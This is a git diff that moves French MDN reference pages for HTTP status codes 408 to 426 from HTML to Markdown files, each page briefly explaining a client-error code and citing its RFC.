+ + diff --git a/files/fr/web/http/status/408/index.html b/files/fr/web/http/status/408/index.html deleted file mode 100644 index 5ff604f4fd..0000000000 --- a/files/fr/web/http/status/408/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 408 Request Timeout -slug: Web/HTTP/Status/408 -tags: - - Code de statut - - Erreur client - - HTTP - - Référence(2) -translation_of: Web/HTTP/Status/408 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 408 Request Timeout indique que le serveur souhaiterait clôturer cette connexion inutilisée. Pour certains serveurs, ce code est parfois envoyé sur une connexion inactive sans qu'il y ait nécessairement eu de requête de la part du client.

- -

Un serveur doit envoyer l'en-tête {{HTTPHeader("Connection")}} avec la valeur "close" en réponse, puisque 408 implique que le serveur a décidé de fermer la connexion plutôt que de continuer à attendre.

- -

Cette réponse est plus utilisée depuis que certains navigateurs, comme Chrome, Firefox 27+ ou IE9, utilisent le mécanisme HTTP de pré-connexion qui permet d'accélérer la navigation. On notera également que certains serveurs ferment purement et simplement la connexion, sans renvoyer ce message.

- -

Statut

- -
408 Request Timeout
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "408 Request Timeout" , "6.5.7")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/408/index.md b/files/fr/web/http/status/408/index.md new file mode 100644 index 0000000000..5ff604f4fd --- /dev/null +++ b/files/fr/web/http/status/408/index.md @@ -0,0 +1,43 @@ +--- +title: 408 Request Timeout +slug: Web/HTTP/Status/408 +tags: + - Code de statut + - Erreur client + - HTTP + - Référence(2) +translation_of: Web/HTTP/Status/408 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 408 Request Timeout indique que le serveur souhaiterait clôturer cette connexion inutilisée. Pour certains serveurs, ce code est parfois envoyé sur une connexion inactive sans qu'il y ait nécessairement eu de requête de la part du client.

+ +

Un serveur doit envoyer l'en-tête {{HTTPHeader("Connection")}} avec la valeur "close" en réponse, puisque 408 implique que le serveur a décidé de fermer la connexion plutôt que de continuer à attendre.

+ +

Cette réponse est plus utilisée depuis que certains navigateurs, comme Chrome, Firefox 27+ ou IE9, utilisent le mécanisme HTTP de pré-connexion qui permet d'accélérer la navigation. On notera également que certains serveurs ferment purement et simplement la connexion, sans renvoyer ce message.

+ +

Statut

+ +
408 Request Timeout
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "408 Request Timeout" , "6.5.7")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/409/index.html b/files/fr/web/http/status/409/index.html deleted file mode 100644 index 650af5bc3c..0000000000 --- a/files/fr/web/http/status/409/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: 409 Conflict -slug: Web/HTTP/Status/409 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/409 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse 409 Conflict indique que la requête entre en conflit avec l'état actuel du serveur.

- -

Les conflits se produisent généralement en réponse à une requête {{HTTPMethod("PUT")}}. Par exemple, vous pouvez obtenir une réponse 409 lorsque vous téléversez un fichier qui est plus vieux que celui déjà présent sur le serveur, ce qui entraine un conflit de contrôle de version.

- -

Statut

- -
409 Conflict
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "409 Conflict" , "6.5.8")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/409/index.md b/files/fr/web/http/status/409/index.md new file mode 100644 index 0000000000..650af5bc3c --- /dev/null +++ b/files/fr/web/http/status/409/index.md @@ -0,0 +1,40 @@ +--- +title: 409 Conflict +slug: Web/HTTP/Status/409 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/409 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse 409 Conflict indique que la requête entre en conflit avec l'état actuel du serveur.

+ +

Les conflits se produisent généralement en réponse à une requête {{HTTPMethod("PUT")}}. Par exemple, vous pouvez obtenir une réponse 409 lorsque vous téléversez un fichier qui est plus vieux que celui déjà présent sur le serveur, ce qui entraine un conflit de contrôle de version.

+ +

Statut

+ +
409 Conflict
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "409 Conflict" , "6.5.8")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/410/index.html b/files/fr/web/http/status/410/index.html deleted file mode 100644 index 2bd74c4112..0000000000 --- a/files/fr/web/http/status/410/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: 410 Gone -slug: Web/HTTP/Status/410 -tags: - - Code de statut - - Erreur client - - HTTP - - Référence(2) -translation_of: Web/HTTP/Status/410 ---- -
{{HTTPSidebar}}
- -

Le code de réponse d'erreur HyperText Transfer Protocol (HTTP) 410 Gone est une erreur client qui indique que l'accès à la ressource visée n'est plus disponible sur le serveur d'origine et que cet état est susceptible d'être définitif.

- -

Si vous ne savez pas si cette absence est temporaire ou permanente, il est préférable de renvoyer un code de statut {{HTTPStatus(404)}}.

- -
-

Note : Par défaut, une réponse 410 peut être mise en cache.

-
- -

Statut

- -
410 Gone
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "410 Gone" , "6.5.9")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

L'information ci-dessous provient du GitHub de MDN (https://github.com/mdn/browser-compat-data).

- -

{{Compat("http.status.410")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/410/index.md b/files/fr/web/http/status/410/index.md new file mode 100644 index 0000000000..2bd74c4112 --- /dev/null +++ b/files/fr/web/http/status/410/index.md @@ -0,0 +1,50 @@ +--- +title: 410 Gone +slug: Web/HTTP/Status/410 +tags: + - Code de statut + - Erreur client + - HTTP + - Référence(2) +translation_of: Web/HTTP/Status/410 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse d'erreur HyperText Transfer Protocol (HTTP) 410 Gone est une erreur client qui indique que l'accès à la ressource visée n'est plus disponible sur le serveur d'origine et que cet état est susceptible d'être définitif.

+ +

Si vous ne savez pas si cette absence est temporaire ou permanente, il est préférable de renvoyer un code de statut {{HTTPStatus(404)}}.

+ +
+

Note : Par défaut, une réponse 410 peut être mise en cache.

+
+ +

Statut

+ +
410 Gone
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "410 Gone" , "6.5.9")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

L'information ci-dessous provient du GitHub de MDN (https://github.com/mdn/browser-compat-data).

+ +

{{Compat("http.status.410")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/411/index.html b/files/fr/web/http/status/411/index.html deleted file mode 100644 index f260e8bf8c..0000000000 --- a/files/fr/web/http/status/411/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: 411 Length Required -slug: Web/HTTP/Status/411 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/411 ---- -
{{HTTPSidebar}}
- -

Le code de réponse d'erreur HTTP 411 Length Required indique que le serveur refuse d'accepter la requête si celle-ci ne contient pas d'en-tête {{HTTPHeader("Content-Length")}}.

- -

On notera que, selon la spécification, lors de l'envoi de données en plusieurs fragments, l'en-tête Content-Length est absent et il est nécessaire d'ajouter la longueur du fragment courant au format hexadécimal. Pour plus de détails, se référer à la page sur l'en-tête {{HTTPHeader("Transfer-Encoding")}}.

- -

Statut

- -
411 Length Required
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "411 Length Required" , "6.5.10")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/411/index.md b/files/fr/web/http/status/411/index.md new file mode 100644 index 0000000000..f260e8bf8c --- /dev/null +++ b/files/fr/web/http/status/411/index.md @@ -0,0 +1,41 @@ +--- +title: 411 Length Required +slug: Web/HTTP/Status/411 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/411 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse d'erreur HTTP 411 Length Required indique que le serveur refuse d'accepter la requête si celle-ci ne contient pas d'en-tête {{HTTPHeader("Content-Length")}}.

+ +

On notera que, selon la spécification, lors de l'envoi de données en plusieurs fragments, l'en-tête Content-Length est absent et il est nécessaire d'ajouter la longueur du fragment courant au format hexadécimal. Pour plus de détails, se référer à la page sur l'en-tête {{HTTPHeader("Transfer-Encoding")}}.

+ +

Statut

+ +
411 Length Required
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "411 Length Required" , "6.5.10")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/412/index.html b/files/fr/web/http/status/412/index.html deleted file mode 100644 index 0516054c5d..0000000000 --- a/files/fr/web/http/status/412/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: 412 Precondition Failed -slug: Web/HTTP/Status/412 -tags: - - Code de statut - - Erreur - - HTTP - - Reference -translation_of: Web/HTTP/Status/412 ---- -
{{HTTPSidebar}}
- -

Le code de réponse d'erreur HTTP 412 Precondition Failed indique que l'accès à la ressource visée a été refusé. Cela arrive avec les requêtes conditionnelles lorsque les méthodes utilisées ne sont pas  {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} et que la condition définie par les en-têtes  {{HTTPHeader("If-Unmodified-Since")}} ou {{HTTPHeader("If-None-Match")}} n'est pas respectée. Dans ce cas, la requête, généralement un téléversement ou une modification d'une ressource, ne peut être appliquée et ce code de réponse d'erreur est renvoyé.

- -

Statut

- -
412 Precondition Failed
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7232", "412 Precondition Failed" , "4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "412")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/412/index.md b/files/fr/web/http/status/412/index.md new file mode 100644 index 0000000000..0516054c5d --- /dev/null +++ b/files/fr/web/http/status/412/index.md @@ -0,0 +1,45 @@ +--- +title: 412 Precondition Failed +slug: Web/HTTP/Status/412 +tags: + - Code de statut + - Erreur + - HTTP + - Reference +translation_of: Web/HTTP/Status/412 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse d'erreur HTTP 412 Precondition Failed indique que l'accès à la ressource visée a été refusé. Cela arrive avec les requêtes conditionnelles lorsque les méthodes utilisées ne sont pas  {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} et que la condition définie par les en-têtes  {{HTTPHeader("If-Unmodified-Since")}} ou {{HTTPHeader("If-None-Match")}} n'est pas respectée. Dans ce cas, la requête, généralement un téléversement ou une modification d'une ressource, ne peut être appliquée et ce code de réponse d'erreur est renvoyé.

+ +

Statut

+ +
412 Precondition Failed
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7232", "412 Precondition Failed" , "4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "412")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/413/index.html b/files/fr/web/http/status/413/index.html deleted file mode 100644 index 4576e41da5..0000000000 --- a/files/fr/web/http/status/413/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 413 Payload Too Large -slug: Web/HTTP/Status/413 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/413 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse 413 Payload Too Large indique que la taille de l'entité fournie par la requête est supérieure aux limites définies par le serveur. Le serveur peut alors choisir de fermer la connexion ou de renvoyer un en-tête {{HTTPHeader("Retry-After")}}.

- -

Statut

- -
413 Payload Too Large
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/413/index.md b/files/fr/web/http/status/413/index.md new file mode 100644 index 0000000000..4576e41da5 --- /dev/null +++ b/files/fr/web/http/status/413/index.md @@ -0,0 +1,39 @@ +--- +title: 413 Payload Too Large +slug: Web/HTTP/Status/413 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/413 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse 413 Payload Too Large indique que la taille de l'entité fournie par la requête est supérieure aux limites définies par le serveur. Le serveur peut alors choisir de fermer la connexion ou de renvoyer un en-tête {{HTTPHeader("Retry-After")}}.

+ +

Statut

+ +
413 Payload Too Large
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/414/index.html b/files/fr/web/http/status/414/index.html deleted file mode 100644 index b8963027ef..0000000000 --- a/files/fr/web/http/status/414/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: 414 URI Too Long -slug: Web/HTTP/Status/414 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/414 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 414 URI Too Long indique que l'URI demandé par le client est plus longue que ce que le serveur est disposé à interpréter.

- -

Il existe quelques rares cas de figure pour lesquels cela peut se produire :

- - - -

Statut

- -
414 URI Too Long
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "414 URI Too Long" , "6.5.12")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/414/index.md b/files/fr/web/http/status/414/index.md new file mode 100644 index 0000000000..b8963027ef --- /dev/null +++ b/files/fr/web/http/status/414/index.md @@ -0,0 +1,46 @@ +--- +title: 414 URI Too Long +slug: Web/HTTP/Status/414 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/414 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 414 URI Too Long indique que l'URI demandé par le client est plus longue que ce que le serveur est disposé à interpréter.

+ +

Il existe quelques rares cas de figure pour lesquels cela peut se produire :

+ + + +

Statut

+ +
414 URI Too Long
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "414 URI Too Long" , "6.5.12")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/415/index.html b/files/fr/web/http/status/415/index.html deleted file mode 100644 index 9c4f8ce71f..0000000000 --- a/files/fr/web/http/status/415/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: 415 Unsupported Media Type -slug: Web/HTTP/Status/415 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/415 ---- -
{{HTTPSidebar}}
- -

Le code de réponse d'erreur HTTP 415 Unsupported Media Type indique que le serveur refuse la requête car le format de la charge utile (payload) n'est pas pris en charge.

- -

Le problème de format peut être causé par les valeurs des en-têtes {{HTTPHeader("Content-Type")}} ou {{HTTPHeader("Content-Encoding")}} dans la requête ou, plus directement, à cause de l'inspection des données.

- -

Statut

- -
415 Unsupported Media Type
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/415/index.md b/files/fr/web/http/status/415/index.md new file mode 100644 index 0000000000..9c4f8ce71f --- /dev/null +++ b/files/fr/web/http/status/415/index.md @@ -0,0 +1,42 @@ +--- +title: 415 Unsupported Media Type +slug: Web/HTTP/Status/415 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/415 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse d'erreur HTTP 415 Unsupported Media Type indique que le serveur refuse la requête car le format de la charge utile (payload) n'est pas pris en charge.

+ +

Le problème de format peut être causé par les valeurs des en-têtes {{HTTPHeader("Content-Type")}} ou {{HTTPHeader("Content-Encoding")}} dans la requête ou, plus directement, à cause de l'inspection des données.

+ +

Statut

+ +
415 Unsupported Media Type
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/416/index.html b/files/fr/web/http/status/416/index.html deleted file mode 100644 index f9ffacd454..0000000000 --- a/files/fr/web/http/status/416/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: 416 Range Not Satisfiable -slug: Web/HTTP/Status/416 -tags: - - Code de statut - - Erreur client - - HTTP - - Référence(2) -translation_of: Web/HTTP/Status/416 ---- -
{{HTTPSidebar}}
- -

Le code de réponse d'erreur HTTP 416 Range Not Satisfiable indique que le serveur ne peut pas servir les plages demandées. L'explication la plus probable est que le document ne contient pas de telles plages, ou que la valeur de l'en-tête {{HTTPHeader("Range")}} n'a aucun sens bien que sa syntaxe soit correcte.

- -

Le message de réponse  416 contient un en-tête {{HTTPHeader("Content-Range")}} qui indique une plage qui n'est pas satisfaite (représentée par '*') suivie par '/' puis la ressource courante (par exemple Content-Range: */12777).

- -

Lorsqu'ils rencontrent cette erreur, les navigateurs abandonnent généralement l'opération en cours (un téléchargement ne pourra pas être repris par exemple) ou ils redemandent le document dans son intégralité.

- -

Statut

- -
416 Range Not Satisfiable
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "416")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/416/index.md b/files/fr/web/http/status/416/index.md new file mode 100644 index 0000000000..f9ffacd454 --- /dev/null +++ b/files/fr/web/http/status/416/index.md @@ -0,0 +1,48 @@ +--- +title: 416 Range Not Satisfiable +slug: Web/HTTP/Status/416 +tags: + - Code de statut + - Erreur client + - HTTP + - Référence(2) +translation_of: Web/HTTP/Status/416 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse d'erreur HTTP 416 Range Not Satisfiable indique que le serveur ne peut pas servir les plages demandées. L'explication la plus probable est que le document ne contient pas de telles plages, ou que la valeur de l'en-tête {{HTTPHeader("Range")}} n'a aucun sens bien que sa syntaxe soit correcte.

+ +

Le message de réponse  416 contient un en-tête {{HTTPHeader("Content-Range")}} qui indique une plage qui n'est pas satisfaite (représentée par '*') suivie par '/' puis la ressource courante (par exemple Content-Range: */12777).

+ +

Lorsqu'ils rencontrent cette erreur, les navigateurs abandonnent généralement l'opération en cours (un téléchargement ne pourra pas être repris par exemple) ou ils redemandent le document dans son intégralité.

+ +

Statut

+ +
416 Range Not Satisfiable
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "416")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/417/index.html b/files/fr/web/http/status/417/index.html deleted file mode 100644 index 5137bd7113..0000000000 --- a/files/fr/web/http/status/417/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: 417 Expectation Failed -slug: Web/HTTP/Status/417 -tags: - - Client error - - Code de statut - - HTTP - - HTTP Status Code - - Reference -translation_of: Web/HTTP/Status/417 ---- -
{{HTTPSidebar}}
- -

Le code de réponse d'erreur HTTP 417 Expectation Failed indique que les attentes indiquées par l'en-tête {{HTTPHeader ("Expect")}} n'ont pu être satisfaites.

- -

Voir la page sur l'en-tête {{HTTPHeader("Expect")}} pour plus de détails.

- -

Statut

- -
417 Expectation Failed
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "417 Expectation Failed" , "6.5.14")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/417/index.md b/files/fr/web/http/status/417/index.md new file mode 100644 index 0000000000..5137bd7113 --- /dev/null +++ b/files/fr/web/http/status/417/index.md @@ -0,0 +1,41 @@ +--- +title: 417 Expectation Failed +slug: Web/HTTP/Status/417 +tags: + - Client error + - Code de statut + - HTTP + - HTTP Status Code + - Reference +translation_of: Web/HTTP/Status/417 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse d'erreur HTTP 417 Expectation Failed indique que les attentes indiquées par l'en-tête {{HTTPHeader ("Expect")}} n'ont pu être satisfaites.

+ +

Voir la page sur l'en-tête {{HTTPHeader("Expect")}} pour plus de détails.

+ +

Statut

+ +
417 Expectation Failed
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "417 Expectation Failed" , "6.5.14")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/418/index.html b/files/fr/web/http/status/418/index.html deleted file mode 100644 index 8b050ecc58..0000000000 --- a/files/fr/web/http/status/418/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 418 I'm a teapot (je suis une théière) -slug: Web/HTTP/Status/418 -tags: - - HTTP -translation_of: Web/HTTP/Status/418 ---- -
{{HTTPSidebar}}
- -

Le statut erreur client HTTP 418 I'm a teapot qui signifie "Je suis une théière" informe que le serveur refuse de préparer du café, car il s'agit d'une théière. Cette erreur est une référence au protocole Hyper Text Coffee Pot Control Protocol qui est le poisson d'avril des RFCs en 1998.

- -

Statut

- -
418 I'm a teapot
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http.status.418")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/418/index.md b/files/fr/web/http/status/418/index.md new file mode 100644 index 0000000000..8b050ecc58 --- /dev/null +++ b/files/fr/web/http/status/418/index.md @@ -0,0 +1,39 @@ +--- +title: 418 I'm a teapot (je suis une théière) +slug: Web/HTTP/Status/418 +tags: + - HTTP +translation_of: Web/HTTP/Status/418 +--- +
{{HTTPSidebar}}
+ +

Le statut erreur client HTTP 418 I'm a teapot qui signifie "Je suis une théière" informe que le serveur refuse de préparer du café, car il s'agit d'une théière. Cette erreur est une référence au protocole Hyper Text Coffee Pot Control Protocol qui est le poisson d'avril des RFCs en 1998.

+ +

Statut

+ +
418 I'm a teapot
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.status.418")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/422/index.html b/files/fr/web/http/status/422/index.html deleted file mode 100644 index c79b1e9f78..0000000000 --- a/files/fr/web/http/status/422/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: 422 Unprocessable Entity -slug: Web/HTTP/Status/422 -tags: - - Code HTTP - - Code de statut - - Code de statut HTTP - - Erreur - - HTTP - - Reference -translation_of: Web/HTTP/Status/422 ---- -

{{HTTPSidebar}}

- -

Le code de statut de réponse HTTP 422 Unprocessable Entity indique que le serveur a compris le type de contenu de la requête et que la syntaxe de la requête est correcte mais que le serveur n'a pas été en mesure de réaliser les instructions demandées.

- -
-

Attention : Le client ne doit pas renvoyer cette requête sans modification.

-
- -

Statut

- -
422 Unprocessable Entity
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationTitre (en Anglais)
{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)
diff --git a/files/fr/web/http/status/422/index.md b/files/fr/web/http/status/422/index.md new file mode 100644 index 0000000000..c79b1e9f78 --- /dev/null +++ b/files/fr/web/http/status/422/index.md @@ -0,0 +1,40 @@ +--- +title: 422 Unprocessable Entity +slug: Web/HTTP/Status/422 +tags: + - Code HTTP + - Code de statut + - Code de statut HTTP + - Erreur + - HTTP + - Reference +translation_of: Web/HTTP/Status/422 +--- +

{{HTTPSidebar}}

+ +

Le code de statut de réponse HTTP 422 Unprocessable Entity indique que le serveur a compris le type de contenu de la requête et que la syntaxe de la requête est correcte mais que le serveur n'a pas été en mesure de réaliser les instructions demandées.

+ +
+

Attention : Le client ne doit pas renvoyer cette requête sans modification.

+
+ +

Statut

+ +
422 Unprocessable Entity
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationTitre (en Anglais)
{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)
diff --git a/files/fr/web/http/status/425/index.html b/files/fr/web/http/status/425/index.html deleted file mode 100644 index 303ff44663..0000000000 --- a/files/fr/web/http/status/425/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: 425 Too Early -slug: Web/HTTP/Status/425 -tags: - - Code de statut - - Erreur client - - HTTP -translation_of: Web/HTTP/Status/425 ---- -

{{SeeCompatTable}}{{HTTPSidebar}}

- -

Le code de réponse d’erreur HyperText Transfer Protocol (HTTP) 425 Too Early signifie que le serveur refuse la requête qui a été récemment répétée par exemple de peur d’une attaque DDoS 

- -

Status

- -
425 Too Early
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationTitle
{{RFC("8470", "425: Early Data", "5.2")}}Using Early Data in HTTP
- -

Browser compatibility

- -

{{Compat("http.status.425")}}

diff --git a/files/fr/web/http/status/425/index.md b/files/fr/web/http/status/425/index.md new file mode 100644 index 0000000000..303ff44663 --- /dev/null +++ b/files/fr/web/http/status/425/index.md @@ -0,0 +1,37 @@ +--- +title: 425 Too Early +slug: Web/HTTP/Status/425 +tags: + - Code de statut + - Erreur client + - HTTP +translation_of: Web/HTTP/Status/425 +--- +

{{SeeCompatTable}}{{HTTPSidebar}}

+ +

Le code de réponse d’erreur HyperText Transfer Protocol (HTTP) 425 Too Early signifie que le serveur refuse la requête qui a été récemment répétée par exemple de peur d’une attaque DDoS 

+ +

Status

+ +
425 Too Early
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("8470", "425: Early Data", "5.2")}}Using Early Data in HTTP
+ +

Browser compatibility

+ +

{{Compat("http.status.425")}}

diff --git a/files/fr/web/http/status/426/index.html b/files/fr/web/http/status/426/index.html deleted file mode 100644 index 5b05f90641..0000000000 --- a/files/fr/web/http/status/426/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: 426 Upgrade Required -slug: Web/HTTP/Status/426 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/426 ---- -
{{HTTPSidebar}}
- -

Le code de réponse d'erreur HTTP 426 Upgrade Required indique que le serveur refuse de réaliser la requête en utilisant le protocole actuel mais qu'il sera peut-être disposé à le faire après que le client augmente la version du protocole utilisé.

- -

Avec cette réponse, le serveur renvoie un en-tête {{HTTPHeader("Upgrade")}} pour indiquer le(s) protocole(s) requis.

- -

Statut

- -
426 Upgrade Required
- -

Exemples

- -
HTTP/1.1 426 Upgrade Required
-Upgrade: HTTP/3.0
-Connection: Upgrade
-Content-Length: 53
-Content-Type: text/plain
-
-This service requires use of the HTTP/3.0 protocol
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "426 Upgrade Required" , "6.5.15")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/426/index.md b/files/fr/web/http/status/426/index.md new file mode 100644 index 0000000000..5b05f90641 --- /dev/null +++ b/files/fr/web/http/status/426/index.md @@ -0,0 +1,51 @@ +--- +title: 426 Upgrade Required +slug: Web/HTTP/Status/426 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/426 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse d'erreur HTTP 426 Upgrade Required indique que le serveur refuse de réaliser la requête en utilisant le protocole actuel mais qu'il sera peut-être disposé à le faire après que le client augmente la version du protocole utilisé.

+ +

Avec cette réponse, le serveur renvoie un en-tête {{HTTPHeader("Upgrade")}} pour indiquer le(s) protocole(s) requis.

+ +

Statut

+ +
426 Upgrade Required
+ +

Exemples

+ +
HTTP/1.1 426 Upgrade Required
+Upgrade: HTTP/3.0
+Connection: Upgrade
+Content-Length: 53
+Content-Type: text/plain
+
+This service requires use of the HTTP/3.0 protocol
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "426 Upgrade Required" , "6.5.15")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

